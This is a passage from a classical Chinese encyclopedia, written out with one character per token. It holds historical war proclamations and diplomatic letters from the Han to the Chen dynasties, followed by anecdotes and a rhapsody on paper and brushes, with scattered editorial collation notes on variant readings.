雄 . 弃 瑕 取 用 . 故 遂 与 操 . 同 谘 合 谋 . 操 遂 承 资 跋 扈 . 肆 行 凶 慝 . 割 剥 元 良 . 残 贤 害 善 . 爵 赏 由 心 . 刑 戮 在 口 . 所 爱 光 五 宗 . 所 恶 灭 三 族 . 又 特 置 发 丘 中 郎 . 摸 金 校 尉 . 所 过 堕 突 . 无 骸 不 露 . 乃 欲 摧 桡 栋 梁 . 孤 弱 汉 室 . 除 灭 忠 正 . 专 为 枭 雄 . 某 俯 奉 汉 威 灵 . 折 冲 宇 宙 . 长 戟 百 万 . 胡 骑 千 群 . 奋 虎 贲 育 获 之 士 . 骋 良 弓 劲 弩 之 势 . 并 州 越 太 行 而 角 其 前 . 荆 州 下 宛 叶 而 掎 其 后 . 若 举 炎 火 以 爇 飞 蓬 . 覆 沧 海 以 沃 熛 炭 . 有 何 不 消 灭 者 .\n又 檄 吴 将 校 曰 . 孙 权 小 子 . 未 辩 菽 麦 . 要 领 不 足 以 膏 萧 斧 . 名 字 不 足 以 污 简 墨 . 谓 为 舟 楫 足 以 拒 皇 威 . 江 湖 可 以 逃 严 诛 . 不 知 天 网 设 张 . 以 在 纲 目 . 爨 镬 之 鱼 . 期 于 消 烂 也 . 若 使 水 而 可 恃 . 则 洞 庭 无 三 苗 之 墟 . 子 阳 无 荆 门 之 败 . 朝 鲜 之 垒 不 刊 . 两 越 之 旌 不 拔 也 . 丞 相 衔 奉 国 威 . 为 民 除 害 . 元 恶 大 憝 . 必 当 枭 夷 . 盖 凤 鸣 高 冈 . 以 远 罻 罗 . 圣 贤 之 德 也 . 鸋 鴃 之 鸟 . 巢 于 苇 苕 . 苕 折 子 破 . 下 愚 之 惑 也 . 今 江 东 之 地 . 无 异 苇 苕 . 诸 贤 处 之 . 信 亦 危 矣 .\n魏 钟 会 檄 蜀 文 曰 . 今 主 上 圣 德 钦 明 . 绍 隆 前 绪 . 宰 辅 忠 肃 . 明 允 劬 劳 . 王 室 布 政 垂 惠 . 而 万 邦 协 和 . 施 德 百 蛮 . 而 肃 慎 致 贡 . 悼 彼 巴 蜀 . 独 为 匪 民 . 是 以 命 授 六 师 . 恭 行 天 罚 . 今 边 境 乂 清 . 方 内 无 事 . 蓄 力 待 时 . 并 兵 一 向 . 而 以 蜀 一 州 之 众 . 分 张 守 备 . 难 以 御 天 下 之 师 . 比 年 以 来 . 曾 无 宁 岁 . 征 人 勤 瘁 . 难 以 当 子 来 之 民 . 此 皆 诸 贤 所 共 亲 见 . 诚 能 鉴 兹 成 败 . 邈 然 高 蹈 . 投 迹 微 子 之 踪 . 横 身 陈 平 之 轨 . 则 福 同 古 人 . 庆 流 来 裔 .\n晋 孙 惠 为 东 海 王 讨 成 都 王 檄 文 曰 . 颖 禀 性 强 暗 . 增 崇 位 号 . 阿 比 奄 官 . 专 任 孟 玫 . 遂 使 恣 睢 . 杀 活 由 己 . 疾 谏 好 谗 . 小 人 满 侧 . 官 以 贿 成 . 位 以 钱 获 . 囚 以 货 生 . 狱 以 币 解 . 百 官 卷 舌 . 朝 野 隐 伏 . 案 颖 之 罪 . 书 记 未 有 . 祸 甚 叔 带 . 逆 隆 鲁 桓 . 为 子 则 不 孝 . 为 臣 则 不 忠 . 为 弟 则 不 顺 . 为 主 则 不 仁 . 四 恶 具 矣 . 豺 狼 之 性 . 有 甚 无 悛 .\n晋 庾 阐 为 郤 鉴 檄 青 州 文 曰 . 盖 天 地 有 盈 虚 之 期 . 皇 代 有 盛 衰 之 会 . 姬 文 至 圣 . 犹 西 患 昆 夷 . 周 室 哲 王 . 而 北 难 猃 狁 . 天 步 祸 乱 . 有 自 来 矣 . 是 以 石 勒 因 曩 者 之 弊 . 遇 皇 纲 暂 弛 . 遂 陵 跨 神 州 . 剪 覆 上 国 . 二 十 余 载 . 毒 流 四 海 . 人 神 含 愤 . 天 诛 自 灭 . 而 石 虎 穷 凶 . 袭 其 余 业 . 内 肆 豺 狼 之 暴 . 外 有 无 辜 之 祸 . 念 诸 文 武 百 姓 . 同 为 和 气 之 民 . 而 不 蒙 太 阳 之 施 . 奔 波 于 海 岱 之 闲 . 逼 迫 于 寇 戎 之 手 . 行 者 穷 征 役 . 居 者 困 重 赋 . 死 生 契 阔 . 良 难 为 心 .\n又 檄 李 势 曰 . 告 巴 蜀 士 民 . 夫 昏 明 代 运 . 否 终 则 泰 . 贤 哲 睹 机 以 知 变 . 不 肖 灭 亡 以 取 祸 . 昔 者 皇 运 中 消 . 干 纲 暂 弛 . 耀 ○ 按 当 作 曜 . 谓 刘 曜 . 勒 穷 凶 . 肆 暴 神 州 . 李 刘 启 逆 . 窃 逼 岷 川 . 翼 以 不 才 . 任 符 分 陕 . 未 能 仰 宣 皇 恩 . 招 携 以 礼 . 而 使 三 巴 之 民 . 制 于 犬 羊 之 群 . 元 元 之 命 . 悬 于 豺 狼 之 口 . 所 以 假 寐 永 叹 . 疾 疢 如 首 者 也 . 凡 百 黎 萌 . 秋 毫 不 犯 . 檄 到 勉 思 良 图 . 自 求 多 福 . 无 使 兰 艾 同 焚 . 永 作 鉴 诫 . 信 誓 之 明 . 有 如 皎 日 .\n又 为 檄 石 虎 文 曰 . 石 勒 因 衅 . 剪 覆 旧 京 . 穷 凶 极 逆 . 伪 号 累 祀 . 百 姓 受 灰 没 之 酷 . 王 室 有 黍 离 之 哀 . 不 有 少 康 之 隆 . 孰 能 祀 夏 . 不 有 宣 王 之 兴 . 谁 克 旧 物 . 羯 帅 石 虎 . 僭 袭 凶 叶 . 负 恃 其 众 . 陆 梁 河 朔 . 每 念 忠 顺 之 士 . 怀 仁 抱 义 . 含 胆 饮 血 . 离 其 祸 酷 . 心 存 倒 戈 . 而 力 不 能 奋 . 今 遣 使 持 节 荆 州 刺 史 都 亭 侯 翼 . 高 旗 连 云 . 组 练 映 日 . 运 孙 吴 之 筹 . 按 尚 甫 之 略 . 莫 不 张 胆 咀 铁 . 人 思 自 百 . 以 此 众 战 . 其 犹 烈 火 之 燔 秋 蓬 . 衡 飙 之 扫 落 叶 也 .\n晋 桓 温 檄 胡 文 曰 . 胡 贼 石 勒 . 暴 肆 华 夏 . 齐 民 涂 炭 . 煎 困 雠 孽 . 至 使 六 合 殊 风 . 九 鼎 乖 越 . 每 惟 国 难 . 不 遑 启 处 . 抚 剑 北 顾 . 慨 叹 盈 怀 . 寡 人 不 德 . 忝 荷 戎 重 . 师 次 安 陆 . 经 营 旧 邑 . 瞻 望 华 夏 . 暂 成 楚 越 . 登 丘 凄 览 . 征 夫 愤 慨 . 昔 叔 孙 绝 粒 . 义 不 同 恶 . 龚 生 守 节 . 耻 存 莽 朝 . 历 既 逋 僭 . 一 朝 荡 定 . 拯 抚 黎 民 . 即 安 本 大 . 训 之 以 德 礼 . 润 之 以 玄 泽 . 信 感 荒 外 . 武 扬 八 极 . 先 顺 者 获 赏 . 后 伏 者 前 诛 . 德 刑 既 明 . 随 才 攸 叙 . 此 之 风 范 . 想 所 闻 也 .\n梁 元 帝 伐 侯 景 檄 文 曰 . 粤 若 梁 兴 五 十 余 载 . 平 一 宇 内 . 德 惠 攸 长 . 仁 育 群 生 . 义 征 不 服 . 建 翠 凤 之 旗 . 则 六 龙 骧 首 . 击 灵 鼍 之 鼓 . 则 百 神 警 肃 . 风 牧 方 邵 之 贤 . 卫 霍 辛 赵 之 将 . 叱 吒 则 风 云 兴 起 . 鼓 动 则 嵩 华 倒 拔 . 协 和 万 邦 . 平 章 百 姓 . 十 尧 九 舜 . 曷 足 云 也 . 贼 臣 侯 景 . 匈 奴 叛 臣 . 鸣 镝 余 . 冒 于 货 贿 . 不 知 其 极 . 敢 兴 逆 乱 . 梗 我 王 畿 . 贼 臣 正 德 . 阻 兵 安 忍 者 . 结 怨 江 干 . 远 适 单 于 . 虔 刘 我 人 民 . 离 散 我 兄 弟 . 臧 获 之 人 . 五 宗 及 赏 . 搢 绅 之 士 . 三 族 见 诛 . 南 山 之 竹 . 未 足 言 其 愆 . 西 山 之 兔 . 不 足 书 其 罪 . 雷 震 风 骇 . 直 指 建 邺 . 按 剑 而 叱 . 江 水 为 之 倒 流 . 抽 戈 而 挥 . 皎 日 为 之 还 舍 . 如 驷 马 之 载 鸿 毛 . 奔 牛 之 触 鲁 缟 .\n梁 裴 子 野 喻 虏 檄 文 曰 . 天 生 蒸 民 . 树 之 以 君 . 所 以 对 越 三 才 . 司 牧 黔 首 . 蠲 其 苛 慝 . 除 其 患 难 . 肇 自 遂 古 . 以 迄 皇 王 . 经 世 字 民 . 咸 由 此 作 . 朕 拨 乱 反 正 . 君 临 亿 兆 . 休 牛 放 马 . 载 戢 干 戈 . 思 与 一 世 之 民 . 跻 之 仁 寿 之 域 . 昔 者 晋 失 其 序 . 天 笃 降 丧 . 而 四 夷 交 侵 . 小 雅 尽 缺 . 宋 之 初 载 . 实 有 武 功 . 秦 晋 之 墟 . 频 枭 僭 伪 . 末 叶 陵 迟 . 遂 亡 淮 济 . 旷 日 长 久 . 莫 能 克 复 . 朕 爰 初 创 业 . 思 闲 宁 静 . 保 大 定 功 . 未 遑 远 略 . 而 狡 虏 游 魂 . 不 式 王 命 . 朕 谓 其 君 是 恶 . 其 民 何 罪 . 矜 此 涂 炭 . 用 寝 兵 革 . 今 戎 丑 数 亡 . 自 相 吞 噬 . 重 以 亢 旱 弥 年 . 谷 价 腾 踊 . 丁 壮 死 于 军 旅 . 妇 女 疲 于 转 输 . 虐 政 惨 刑 . 曾 无 惩 改 . 四 方 同 集 . 九 服 齐 契 . 譬 犹 翻 东 海 以 注 萤 爝 . 倒 仑 以 压 蝼 蚁 . 其 身 縻 烂 . 岂 假 多 力 . 尔 二 周 故 老 . 六 辅 大 姓 . 蒙 耻 俛 首 . 有 自 来 矣 . 濯 身 明 目 . 今 也 其 时 . 昔 由 余 入 秦 . 礼 以 卿 佐 . 日 磾 降 汉 . 华 豹 七 叶 . 苟 有 其 才 . 岂 无 大 位 . 梁 任 孝 恭 为 汝 南 王 檄 魏 文 曰 . 夫 大 盗 移 国 . 终 继 枭 翦 之 诛 . 凶 狡 凭 凌 . 必 致 歼 夷 之 戮 . 所 以 董 卓 称 乱 . 徒 藉 群 雄 之 手 . 王 莽 偷 安 . 卒 成 光 武 之 业 . 故 市 耀 脐 灯 . 府 传 饮 器 . 我 有 魏 今 临 一 境 . 卜 世 相 承 . 保 乂 黔 黎 . 事 逾 年 祀 . 尔 朱 荣 胡 貊 遗 种 . 边 塞 是 居 . 奸 宄 妄 才 . 凶 愚 丑 类 . 茹 血 餐 腥 . 本 非 人 品 . 依 随 水 草 . 取 类 马 牛 . 而 包 藏 祸 图 . 窃 怀 反 噬 . 遂 长 驱 种 落 . 用 袭 我 周 南 . 率 彼 酋 豪 . 侵 凌 我 河 县 . 所 以 流 离 播 越 . 亟 淹 星 纪 . 仰 慕 园 陵 . 俯 伤 黎 庶 . 遂 得 式 仰 唐 朝 . 宣 奉 舜 阙 . 梁 大 皇 帝 . 功 逾 五 帝 . 道 迈 三 皇 . 负 扆 当 轩 . 平 章 百 姓 . 垂 拱 而 治 . 协 和 万 邦 . 今 遣 同 州 刺 史 范 遵 等 . 董 率 前 锋 . 扬 旌 致 讨 . 先 取 滑 台 . 鼓 行 金 谷 . 关 东 英 俊 . 河 北 雄 才 . 痛 桑 梓 沦 芜 . 室 家 颠 殒 . 饮 气 吞 声 . 志 申 雠 怨 . 士 各 怀 归 . 民 思 父 母 . 表 里 符 契 . 神 灵 响 集 . 王 者 之 师 . 有 征 无 战 . 锋 刃 所 裁 . 幸 勿 罹 染 .\n后 魏 魏 收 檄 梁 文 ○ 全 北 齐 文 五 据 文 苑 英 华 六 百 四 十 五 . 通 鉴 一 百 六 十 作 杜 弼 文 . 曰 . 夫 辰 象 丽 天 . 山 岳 镇 地 . 方 以 类 聚 . 物 以 群 分 . 建 之 以 邦 国 . 树 之 以 君 长 . 日 月 于 是 莫 贰 . 帝 王 所 以 总 一 . 虽 五 运 相 推 . 百 王 革 命 . 此 道 所 行 . 孰 云 能 易 . 而 皇 家 承 统 . 光 配 彼 天 . 义 洽 幽 明 . 化 周 动 植 . 崇 文 德 以 来 远 . 修 礼 让 以 止 讼 . 舞 干 戚 于 两 阶 . 执 玉 帛 于 万 国 . 玄 功 潜 运 . 至 德 旁 通 . 百 姓 日 用 而 不 知 . 兆 民 受 赐 而 无 迹 . 唯 彼 吴 越 . 独 阻 声 教 . 侯 景 竖 子 . 本 无 土 业 . 以 金 陵 逋 逃 之 薮 . 江 南 流 离 之 地 . 甘 辞 卑 体 . 进 孰 ○ 英 华 . 通 鉴 作 熟 . 图 身 . 而 伪 朝 大 小 . 幸 灾 忘 义 . 主 荒 于 上 . 臣 蔽 于 下 . 人 而 无 礼 . 其 能 国 乎 . 亦 既 失 信 . 不 亡 何 待 . 今 帝 道 休 明 . 皇 猷 允 塞 . 虽 有 贼 臣 去 国 . 亡 卒 出 境 . 何 异 一 毛 之 落 牛 体 . 双 凫 之 飞 海 滨 . 彼 既 连 结 奸 恶 . 断 绝 邻 好 . 追 兵 保 境 . 纵 盗 侵 国 . 盖 物 无 定 方 . 事 无 常 势 . 是 以 吴 侵 齐 境 . 遂 致 句 践 之 师 . 赵 纳 韩 地 . 终 有 上 ○ 英 华 . 通 鉴 作 长 . 平 之 役 . 矧 乃 鞭 挞 疲 民 . 侵 轶 徐 部 . 筑 垒 拥 川 . 舍 信 邀 利 . 此 而 可 忍 . 孰 不 可 怀 . 贞 阳 以 犹 子 之 亲 . 当 戎 首 之 任 . 非 但 力 屈 道 穷 . 亦 将 路 无 还 蜀 . 兼 复 狭 子 垂 翅 . 俱 在 笼 樊 . 虽 复 贪 利 苟 得 . 背 同 即 异 . 获 一 人 而 失 一 国 . 见 黄 雀 而 忘 深 井 . 智 者 所 不 为 . 仁 者 所 不 向 . 诚 既 往 之 难 逮 . 犹 将 来 之 可 追 . 侯 景 以 鄙 里 之 夫 . 遭 风 云 之 会 . 位 登 三 事 . 邑 启 万 家 . 揣 身 量 分 . 久 当 止 足 . 彼 乃 示 之 以 利 器 . 诲 之 以 慢 藏 . 使 其 势 得 容 奸 . 令 其 时 堪 乘 便 . 计 虽 非 孙 吴 猛 将 . 燕 赵 精 兵 . 犹 是 久 涉 行 阵 . 曾 习 军 旅 . 拒 此 则 作 气 不 足 . 攻 彼 则 为 势 有 余 . 呼 之 则 返 速 而 衅 小 . 不 惩 则 叛 迟 而 祸 大 . 但 恐 楚 国 忘 猿 . 祸 延 林 木 . 城 门 失 火 . 殃 及 池 鱼 . 横 使 江 黄 士 子 . 荆 杨 人 物 . 死 亡 矢 石 之 下 . 夭 折 露 雾 之 中 . 人 人 厌 苦 . 家 家 思 乱 . 将 险 躁 之 风 俗 . 任 轻 薄 之 子 孙 . 朋 党 路 开 . 兵 权 在 外 . 必 将 祸 生 骨 肉 . 难 起 腹 心 . 强 孥 ○ 英 华 . 通 鉴 作 弩 . 冲 城 . 长 戟 指 阙 . 徒 探 雀 鷇 . 无 用 府 藏 之 虚 . 空 请 熊 蹯 . 讵 延 漏 刻 之 命 . 外 崩 中 溃 . 今 实 其 时 . 鹬 蚌 相 扼 . 我 乘 其 弊 . 方 使 钟 山 渡 江 . 青 盖 入 洛 . 荆 棘 生 于 建 业 之 宫 . 麋 鹿 游 于 姑 苏 之 馆 . 但 恐 革 车 之 所 轹 . 剑 骑 之 所 蹂 践 . 椅 梓 于 焉 倾 折 . 竹 箭 以 此 摧 残 . 若 吴 之 王 孙 . 蜀 之 公 子 . 顺 时 以 动 . 见 机 而 作 . 归 款 军 门 . 委 命 下 吏 . 当 使 焚 榇 而 出 . 拂 席 相 俟 . 必 以 楚 材 . 终 为 晋 用 也 .\n陈 徐 陵 檄 周 文 曰 . 主 上 恭 膺 宝 历 . 嗣 奉 瑶 图 . 既 禀 圣\n人 之 材 . 兼 富 神 武 之 略 . 乂 安 兆 庶 . 共 靖 戎 华 . 同 戢 干\n戈 . 永 销 锋 镝 . 况 复 追 惟 在 楚 . 无 忘 玉 帛 之 言 . 轸 念 过\n曹 . 犹 感 盘 餐 之 惠 . 年 驰 玉 节 之 使 . 岁 降 银 车 之 恩 . 庶\n彼 怀 音 . 微 悟 知 感 . 而 反 其 藏 匿 . 招 我 叛 臣 . 翊 从 潇 湘\n. 空 竭 关 垄 . 荆 梁 左 右 . 汉 沔 东 西 . 吁 地 呼 天 . 望 停 哀\n救 . 夫 一 人 掩 泣 . 犹 怆 满 堂 . 百 姓 为 心 . 弥 切 宸 扆 . 大\n都 督 吴 明 彻 . 台 司 上 将 . 德 茂 勋 高 . 威 着 荆 湘 . 化 闻 庸\n蜀 . 叱 吒 而 平 宿 豫 . 吹 嘘 而 定 寿 阳 . 席 卷 江 淮 . 无 淹 弦\n望 .\n王 隐 晋 书 曰 . 毛 宝 据 邾 城 陷 . 宝 尸 沉 江 不 出 . 戴 详 移 告 河 伯 诸 神 . 使 出 宝 尸 . 十 余 日 乃 出 .\n典 略 曰 . 卫 襄 . 字 叔 辽 . 修 行 至 孝 . 州 郡 嘉 之 . 时 有 白 波 贼 众 数 万 人 . 官 兵 诛 讨 不 能 平 . 而 使 襄 要 我 愿 解 散 . 于 是 襄 为 书 移 . 即 平 定 .\n【 移 文 】 汉 刘 歆 让 太 常 博 士 移 文 曰 . 歆 欲 建 立 左 氏 春 秋 毛 诗 逸 礼 古 文 尚 书 . 习 ○ 汉 书 三 十 六 刘 歆 传 作 皆 . 列 学 官 . 哀 帝 令 歆 与 五 经 博 士 讲 论 其 义 . 诸 儒 博 士 或 不 肯 置 对 . 歆 因 移 书 责 让 之 曰 . 往 者 缀 学 之 士 . 不 思 废 绝 之 关 . ○ 汉 书 作 阙 . 苟 因 陋 就 寡 . 分 文 析 字 . 信 口 说 而 背 传 记 . 是 末 师 而 非 往 古 . 至 于 国 家 将 有 大 事 . 若 立 辟 雍 封 禅 巡 狩 之 仪 . 则 幽 冥 而 莫 知 其 源 . 犹 欲 保 残 守 缺 . 挟 恐 见 破 之 私 意 . 而 亡 从 善 服 义 之 公 心 . 或 怀 疾 妒 . 不 考 情 实 . 雷 同 相 从 . 随 声 是 非 . 抑 此 三 学 . 皆 以 尚 书 为 不 备 . 谓 左 氏 为 不 传 春 秋 . 岂 不 哀 哉 . 夫 子 曰 ○ 按 子 曰 二 字 衍 . 可 与 乐 成 . 难 与 虑 始 . 此 乃 众 庶 之 所 为 耳 . 非 所 望 于 士 君 子 也 .\n梁 简 文 帝 答 穣 城 求 和 移 文 曰 . 属 彼 数 及 侮 亡 . 运 逢 瓦 解 . 石 言 水 斗 . 实 验 地 凶 . 飞 絮 雨 粟 . 还 符 天 怪 . 故 沦 俗 骏 奔 . 遗 黎 南 请 . 所 以 皇 略 北 征 . 临 ○ 临 字 疑 衍 . 事 同 拯 溺 . 愍 百 姓 之 未 安 . 伤 一 物 之 失 所 . 故 余 民 襁 负 . 扫 ○ 原 讹 揥 . 据 冯 校 本 改 . 地 来 王 . 而 向 化 之 党 . 览 今 移 . 咸 以 陶 兹 礼 乐 . 重 睹 衣 冠 . 已 变 伊 川 之 发 . 兼 削 呼 韩 之 衽 . 宁 当 生 入 玉 关 . 死 归 建 业 . 民 情 若 此 . 匪 我 求 蒙 . 行 人 远 届 . 实 亦 劳 止 . 想 近 察 时 机 . 远 详 图 纬 . 早 去 中 原 . 遽 反 桑 梓 . 旋 地 脉 ○ 原 讹 ● . 据 冯 校 本 改 . 而 北 移 . 越 天 渠 而 南 指 . 然 后 三 姓 二 贤 . 可 存 十 半 . 如 其 遂 固 守 株 . 不 达 玄 象 . 将 恐 卫 将 之 师 . 复 有 狼 居 之 战 . 侯 应 之 讨 . 更 睹 阴 山 之 哭 .\n梁 任 孝 恭 答 魏 初 和 移 文 曰 . 盖 轩 辕 五 十 二 战 . 义 在 拯 民 . 汤 武 二 十 七 征 . 本 惟 静 难 . 明 异 时 而 同 致 . 信 殊 政 而 一 拨 . ○ 全 梁 文 六 十 七 作 揆 . 我 皇 屈 兹 上 圣 . 承 彼 百 王 . 卷 六 合 而 包 容 . 弘 二 仪 而 覆 载 . 照 高 日 月 . 泽 富 云 雨 . 值 魏 氏 纷 纶 . 亟 离 星 晷 . 竞 寻 干 戈 . 争 以 兴 废 . 王 无 卒 岁 . 相 不 浃 辰 . 只 马 泣 师 . 月 陈 庭 阙 . 裹 粮 请 救 . 日 款 关 扉 . 故 屡 动 云 旗 . 再 驱 苍 兕 . 同 小 白 之 存 亡 . 等 任 好 之 继 绝 . 匹 妇 是 雠 . 尺 土 非 利 . 然 百 战 百 胜 . 犹 苦 四 民 . 九 拒 九 攻 . 终 劳 万 姓 . 纳 皇 之 念 . 无 忘 日 昃 . 李 陵 失 律 . 暂 摧 羽 鳞 . 同 孟 明 之 反 秦 . 似 荀 罃 之 归 晋 . 并 赉 来 移 . 闻 之 委 曲 . 知 彼 当 壁 得 人 . 兆 龟 有 主 . 欲 偃 兵 戈 . 式 敦 雅 好 . 鹤 鸣 九 皋 . 戾 天 已 响 . 出 其 言 善 . 良 以 欣 然 . 辄 勒 缘 边 屯 戍 . 各 息 烽 警 . 旌 旗 尽 卷 . 刁 斗 夜 停 . 混 鸡 犬 于 四 邻 . 接 桑 麻 ○ 原 讹 床 . 据 冯 校 本 改 . 于 二 境 . 陈 徐 陵 为 护 军 长 史 王 质 移 文 曰 . 比 金 风 已 劲 . 玉 露 方 团 . 宜 及 穷 秋 . 幸 逾 高 塞 . 当 使 孤 旌 不 反 . 只 骑 无 还 . 非 止 汤 罗 . 岂 知 尧 德 . 其 承 比 年 民 垫 . 仍 岁 蕴 隆 . 粒 粟 贵 于 随 珠 . 分 糜 乏 于 齐 鼎 . 且 氐 羌 旅 拒 . 已 跨 伊 瀍 . 胡 羯 凭 陵 . 方 逾 汾 潞 . 刺 虎 之 势 . 时 则 卞 生 . 拾 蚌 之 机 . 弥 验 苏 子 . 但 国 家 体 兹 明 信 . 有 同 皎 日 . 岂 唯 风 雨 之 旦 . 犹 救 匹 夫 . 宵 梦 之 言 . 无 欺 幽 壤 . 贼 华 皎 . 近 以 临 蕃 有 谴 . 作 牧 无 章 . 既 惧 槛 车 之 征 . 便 忧 齐 斧 之 戮 . 遂 乃 治 兵 楚 梦 . 窃 戴 干 戈 . 傍 引 西 戎 . 共 谋 东 夏 . 伪 周 遣 其 卫 国 公 宇 文 直 等 . 总 统 獯 猃 . 为 其 羽 翼 . 丑 徒 济 岸 . 来 攻 郢 城 . 逆 竖 浮 舟 . 同 趣 夏 浦 . 王 师 舣 桌 . 素 在 中 流 . 群 帅 争 驱 . 应 时 歼 荡 . 羌 胡 宝 马 . 纵 横 七 泽 之 中 . 荆 楚 楼 船 . 弥 满 三 江 之 上 . 浮 禽 所 获 . 水 陆 无 遗 . 华 皎 擢 自 刍 微 . 叨 居 蕃 翰 . 情 惭 犬 马 . 罔 顾 恩 灵 . 翻 执 干 戈 . 自 图 家 国 . 闻 诸 间 谍 . 具 彼 邻 谋 . 乃 授 冬 官 . 即 为 乡 导 . 虽 伤 仁 义 之 俗 . 非 敢 有 私 . 期 和 与 之 情 . 犹 冀 无 失 .\n又 移 齐 曰 . 获 去 月 二 十 日 移 . 承 羯 寇 平 殄 . 同 怀 庆 悦\n. 眷 言 邻 穆 . 深 副 情 伫 . 夫 天 纲 之 大 . 固 无 微 而 不 擒 .\n神 武 之 师 . 本 无 征 而 不 克 . 至 如 戎 王 倾 其 部 落 . 逆 竖 道\n其 乡 关 . 非 厥 英 图 . 殆 难 堪 戮 . 况 复 洞 庭 遐 旷 . 丘 食 殷\n阜 . 西 穷 版 屋 . 北 罄 庐 . 声 冠 符 姚 . 势 兼 聪 勒 . 庸 蜀\n宝 马 . 弥 山 不 穷 . 巴 汉 楼 船 . 陵 波 无 际 . 我 之 元 戎 上 将\n. 协 力 同 心 . 承 禀 朝 . 致 行 明 罚 . 为 风 为 火 . 殪 彼 蒙\n冲 . 如 霆 如 雷 . 击 其 舟 舰 . 羌 兵 楚 贼 . 赴 水 沉 沙 . 弃 甲\n则 两 岸 同 奔 . 横 尸 则 千 里 相 枕 . 江 川 尽 满 . 譬 睢 水 之 无\n流 . 原 隰 穷 胡 . 等 阴 山 之 长 哭 . 于 是 黑 山 叛 邑 . 诸 城 洞\n开 . 白 虏 连 群 . 投 戈 请 命 . 长 沙 鵩 鸟 . 靡 复 为 妖 . 湘 川\n石 鷰 . 自 然 还 舞 . 克 翦 无 筭 . 缧 禽 不 赀 . 欲 计 军 俘 . 终\n难 巧 历 . 所 获 其 龙 驹 骥 子 . 百 □ 千 ● . ○\n本 集 作 百 千 其 群 . 更 开 苜 蓿 之 园 . 方 广 騊 駼 之 厩 .\n于 是 卫 霍 甘 陈 . 虬 髭 瞋 目 . 心 驰 垄 路 . 志 饮 河 源 . 乘 胜\n长 驱 . 未 知 所 限 . 岂 如 桓 温 不 武 . 弃 彼 关 中 . 殷 浩 无 能\n. 长 兹 羌 贼 . 方 且 西 逾 酒 郡 . 抵 我 境 而 置 边 亭 . 东 略 盐\n池 . 为 齐 朝 而 反 侵 地 . 此 改 ○ 本 集 作 政\n. 亦 翦 妖 氛 . 未 穷 巢 窟 . 便 闻 庆 捷 . 愧 佩 良 深 .\n董 巴 记 云 . 东 京 有 蔡 侯 祗 ○ 太 平 御 览 六 百 零 五 作 纸 . 即 伦 也 . 故 麻 名 麻 纸 . 木 皮 名 榖 纸 . 故 ○ 御 览 故 下 有 鱼 网 作 纸 . 名 五 字 . 此 脱 . 网 纸 也 .\n三 辅 决 录 曰 . 韦 诞 奏 . 蔡 邕 自 矜 能 兼 斯 善 ○ 书 断 作 喜 . 之 法 . 非 流 纨 素 . 不 妄 下 笔 . 夫 欲 善 其 事 . 必 先 利 其 器 . 罔 ○ 太 平 御 览 七 百 四 十 七 作 用 . 张 芝 笔 . 古 ○ 御 览 作 左 . 伯 纸 . 及 臣 黑 . ○ 御 览 作 墨 . 皆 古 法 . 兼 此 三 具 . 又 得 巨 ○ 御 览 作 臣 . 手 . 然 后 可 以 尽 径 丈 ○ 原 讹 经 文 . 据 冯 校 本 改 . 之 势 . 方 寸 之 言 .\n王 隐 晋 书 曰 . 陈 寿 卒 . 诏 下 河 南 . 遣 吏 赉 纸 笔 . 就 寿 门 下 . 写 取 国 志 .\n渚 宫 旧 事 曰 . 皇 太 子 初 拜 . 给 赤 纸 缥 红 纸 麻 纸 纸 法 纸 . 各 一 百 .\n抱 朴 子 曰 . 洪 家 贫 . 伐 薪 卖 之 . 以 给 纸 笔 . 昼 营 园 田 . 夜 以 柴 火 写 书 . 坐 此 之 故 . 不 得 早 涉 艺 文 . 常 乏 纸 . 每 所 写 . 皆 反 覆 有 字 . 人 少 能 读 .\n文 士 传 曰 . 杨 脩 为 魏 武 主 簿 . 尝 白 事 . 知 必 有 反 覆 教 . 豫 为 答 数 纸 . 以 次 牒 之 而 行 . 告 其 守 者 曰 . 向 白 事 . 每 有 教 出 . 相 反 覆 . 若 案 此 弟 连 答 之 . 已 而 有 风 . 吹 纸 乱 . 遂 错 误 . 公 怒 推 问 . 脩 惭 惧 . 以 实 答 .\n晋 阳 秋 曰 . 刘 弘 为 荆 州 刺 史 . 每 有 兴 发 . 手 书 郡 国 . 丁 宁 款 密 . 故 莫 不 感 悦 . 颠 倒 恭 赴 . 咸 曰 . 公 一 纸 书 . 贤 于 十 部 从 事 也 .\n语 林 曰 . 王 右 军 为 会 稽 令 . 谢 公 就 乞 笺 纸 . 捡 挍 库 中 . 有 九 万 笺 纸 . 悉 以 乞 谢 公 .\n沈 约 宋 书 曰 . 张 永 善 隶 书 . 又 有 巧 思 . 纸 及 墨 . 皆 自 营 造 . 上 每 得 永 表 启 . 辄 玩 咨 嗟 . 自 叹 供 御 者 不 之 及 也 .\n【 赋 】 晋 傅 咸 纸 赋 曰 . 盖 世 有 质 文 . 则 治 有 损 益 . 故 礼 随 时 变 . 而 器 与 事 易 . 既 作 契 以 代 绳 兮 . 又 造 纸 以 当 策 . 夫 其 为 物 . 厥 美 可 珍 . 廉 方 有 则 . 体 洁 性 真 . 含 章 蕴 藻 . 实 好 斯 文 . 取 彼 之 弊 . 以 为 此 新 揽 之 则 舒 . 舍 之 则 卷 . 可 屈 可 伸 . 能 幽 能 显 .\n【 启 】 梁 刘 孝 威 谢 赉 宫 纸 启 曰 . 臣 与 谢 嘏 . 俱 惭 其 圣\n. 神 ○ 初 学 记 二 十 一 作 臣 . 之 冲\n梯 . 实 愧 鲁 般 之 巧 . 嘏 之 城 垒 . 特 无 禽 子 之 守 . 攻 弱 侮\n亡 . 其 劳 甚 薄 . 策 勋 行 赏 . 为 渥 过 隆 . 虽 复 业 ○\n初 学 记 作 邺 . 殿 凤 衔 . 汉 朝 鱼 网 . 平 淮 桃 花 . 中 宫\n榖 树 . 固 以 惭 兹 靡 滑 . 谢 此 鲜 光 .\n释 名 曰 . 笔 . 述 也 . 述 事 而 书 之 也 .\n韩 诗 外 传 曰 . 赵 简 子 有 臣 曰 周 舍 . 立 于 门 下 . 三 日 三 夜 . 简 子 问 其 故 . 对 曰 . 臣 为 君 谔 谔 之 臣 . 墨 笔 执 牍 . 从 君 之 后 . 伺 君 过 而 书 之 .\n列 仙 传 曰 . 李 仲 甫 . 颍 川 人 . 汉 桓 帝 时 . 卖 笔 辽 东 市 上 . 一 笔 三 钱 . 有 钱 亦 与 笔 . 无 钱 亦 与 笔 .\n汉 书 曰 . 张 安 世 持 橐 簪 笔 . 橐 . 挈 橐 也 . 近 臣 负 橐 笔 . 从 备 顾 问 . 或 有 记 . 事 孝 武 帝 数 十 年 . 见 谓 忠 谨 .\n华 峤 后 汉 书 曰 . 班 超 投 笔 叹 曰 . 大 丈 夫 安 能 久 事 